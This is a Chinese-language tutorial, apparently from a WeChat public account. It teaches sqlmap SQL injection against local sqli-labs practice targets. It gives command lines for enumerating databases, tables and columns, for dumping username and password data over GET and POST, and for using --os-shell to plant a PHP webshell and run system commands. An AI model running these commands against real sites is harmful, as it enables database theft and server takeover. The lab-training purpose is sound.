免责声明:用户因使用公众号内容而产生的任何行为和后果,由用户自行承担责任。本公众号不承担因用户误解、不当使用等导致的法律责任
目录
1.1SQLmap是一款「自动化」SQL注入工具。安装本地sqlmap工具或直接使用kail虚拟机中自带的sqlmap都可以
2.1指定URL(以下适用于GET请求,POST请求在后文)
3.1.2将抓到的数据包保存在桌面文本文件中命名为1.txt
1.安装sqlmap
1.1SQLmap是一款「自动化」SQL注入工具。安装本地sqlmap工具或直接使用kail虚拟机中自带的sqlmap都可以(本文使用本地sqlmap)
安装成功
2.sqlmap基础命令介绍
2.1指定URL(以下适用于GET请求,POST请求在后文)
sqlmap.py -u http://localhost/sqli_labs-sqli-version-master/Less-2/?id=1
-u:用于get提交方式,后面跟注入的url网址(也就是需要使用sqlmap工具的网站如sql-labs靶场,上方使用链接就是sql-labs靶场链接)
sqlmap帮我们检测出sql-labs靶场第一关所存在的漏洞,接下来我们如何利用漏洞获取信息?
2.2获取所有数据库:--dbs
sqlmap.py -u http://localhost/sqli_labs-sqli-version-master/Less-2/?id=1 --dbs
可以看到,此时以获得这个数据库中所以数据库名,接下来我们查看某一数据库中的表。
2.3获取所有数据表:--tables
sqlmap.py -u http://localhost/sqli_labs-sqli-version-master/Less-2/?id=1 -D security
--tables
我们可以看到此时security数据库中的表名已经爆出来了。接下来我们查询某个表中的字段,
-D 指定库名。
2.4获取所有字段: --columns
sqlmap.py -u http://localhost/sqli_labs-sqli-version-master/Less-2/?id=1 -D security
-T users --columns
可以看到表users中的字段数爆出来了,接下来就是打印数据
-T 指定表名
2.5打印数据 : --dump
sqlmap.py -u http://localhost/sqli_labs-sqli-version-master/Less-2/?id=1 -D security
-T users -C password,username --dump
表中所有数据已经打印出来。-C 指定字段。
2.6 总结基础命令
-u:用于get提交方式,后面跟注入的url网址
--level :执行测试的等级(1~5,默认为1),使用-level参数并且数值>=2的时候会检查cookie里面的参数
--risk:风险级别(0~3,默认1,常用1),级别提高会增加数据被篡改的风险。
--dbs:获取所有数据库
--tales:获取所有数据表
--columns:获取所有字段
--dump:打印数据
-D:查询选择某个库
-T:查询选择某个表
-C:查询选择某个字段
--current-db 指定当前数据库(如下)
sqlmap.py -u http://localhost/LABS-SQLI/sqli-labs-php7-master/Less-1/?id=1 --current-db
3.sqlmap工具应对POST请求
3.1方法一通过抓包获得数据包
3.1.1打开bp和sql-labs靶场12关
3.1.2将抓到的数据包保存在桌面文本文件中命名为1.txt
3.1.3通过sqmap工具查到可以注入类型
sqlmap.py -r C:\Users\ZQ\Desktop\1.txt -p uname --dbs
-p:需要检测的参数。也可以在文本中在需要检测参数前标注*
3.1.4获得所有数据库名
3.1.5获得当前数据库名
sqlmap.py -r C:\Users\ZQ\Desktop\1.txt --current-db
3.1.6获得当前数据库下所有表的名
sqlmap.py -r C:\Users\ZQ\Desktop\1.txt -p uname -D security --tables
3.1.7查看users表中的字段
sqlmap.py -r C:\Users\ZQ\Desktop\1.txt -p uname -D security -T users --columns
3.1.8获得账户密码
sqlmap.py -r C:\Users\ZQ\Desktop\1.txt -p uname -D security -C password,username --dump
3.2第二种方式自动搜索表单方式
sqlmap.py -u "http://localhost/sqli-labs-master/Less-11/index.php" --forms
3.2.1拿到当前数据库名称
sqlmap.py -u "http://localhost/sqli-labs-master/Less-11/index.php" --forms --current-db
3.2.2拿到库中所有表
sqlmap.py -u "http://localhost/sqli-labs-master/Less-11/index.php" --forms -D security --tables
3.2.3拿到所有字段(命令与上文相同)
3.2.4拿到所有账户密码(命令与上文相同)
3.3总结
--forms 自动检测表单
-data :指定HTTP POST请求的数据(例如下面代码)
sqlmap.py -u "http://192.168.37.1/sqli/Less-15/" --data "uname=1" -D security --tables
r表示加载一个文件,-p指定测试参数
sqlmap.py -r C:\Users\ZQ\Desktop\1.txt -p uname --dbs
sqlmap.py -u "http://example.com/vuln.php?id=1" -p id
对POST请求,一直用 “-r txt文件”的形式,进行注入测试;但发现还有另一种POST,用“-r txt文件”的形式进行却无效,原来可以通过“--data="key=value"”来进行测试注入。
当post的body(HTTP 请求中的主体部分,用于传递大量数据)为以下使用-r
参数1=value1&参数2=value2.....
当post的body为以下使用 --data
-c7eb38bf-7ea1-4fbc-836a-47ceafdfd30a
Content-Disposition: form-data; name="page"
Content-Length: 1
4.sqlmap获取shell
--os-shell的执行条件有四个:
(1)网站数据库必须是root权限
(2)攻击者需要知道网站的绝对路径
(3)GPC为off,PHP主动转义的功能关闭
(4)secure_file_priv无限制
4.1网站数据库必须是root权限
首先使用 --is-dba命令查看是否为管理员,若不是,则无法使用--os-shell命令。true是管理员,不是管理员显示为false
或者可以使用 --users 查看账号权限
sqlmap.py -r 1.txt --users --level=3
当前用户为root用户
4.2.攻击者需要知道网站的绝对路径
使用 –os-shell命令,存在注入点后,会提示需要选择语言,并且选择路径
sqlmap.py -r 1.txt -os-shell
首先选择4 php语言然后选择2自行输入路径
选项一为用这几个路径
选项二为用户自己输入
选项三为用用户的字典
选项四为爆破。
此时网站根目录下写入两个文件
4.3然后写入一句话木马到1.php
4.4通过一句话木马获取到此数据库所有信息
4.5总结
--os-shell的本质就是写入两个php文件,其中的tmpumjti.php可以让我们上传文件到网站路径下
sqlmap就会通过上面这个php上传一个用于命令执行的tmpubpwk.php到网站路径下让我们命令执行,并将输出的内容返回sqlmap端。sqlmap的--os-shell在mysql数据库中的原理,其实就是往服务器上写入了两个php,其中一个给我们提供了文件上传的页面,可以通过这个上传页面上传脚本文件到当前目录下。另外一个则是返回了可以让我们执行系统命令的命令行,命令行也可以在网页url中通过对cmd参数传参执行系统命令。
5.sqlmap的其他命令
-m:将us.txt中放入多个URL进行批量扫描
sqlmap.py -m us.txt
--cookie:指定cookie的值进行注入
sqlmap.py -u "http://xu?id=r" --cookie 'cookie'
--schema
获取字段类型,可以指定库或指定表。不指定则获取数据库中所有字段的类型。
sqlmap.y -u 'http://xu/?id=r' -D 'security' --schema
--is-dba
判断当前登录的用户是不是数据库的管理员账号
sqlmap.py -u 'http://xu/?id=r' --is-dba
--hostname
获取服务器主机名。
sqlmap.py -u 'http://xu/?id=r' --hostname
--search
搜索数据库中是否存在指定库/表/字段,需要指定库名/表名/字段名。
sqlmap.py -u 'http://xx/?id=1' -D 'security' --search
--batch (默认确认)不再询问是否确认。
sqlmap.py -r C:\Users\ZQ\Desktop\1.txt -p uname --dbs --batch
--proxy="127.0.0.1:8080" 指定代理
sqlmap.py -r C:\Users\ZQ\Desktop\1.txt -p uname --dbs --proxy="127.0.0.1:8080"
--threads 10 设置线程数,最高10
sqlmap.py -r C:\Users\ZQ\Desktop\1.txt -p uname --dbs --threads 10
(需要源代码关注公众号免费领取!!还希望多多关注点赞支持,你的支持就是我的最大动力)!!!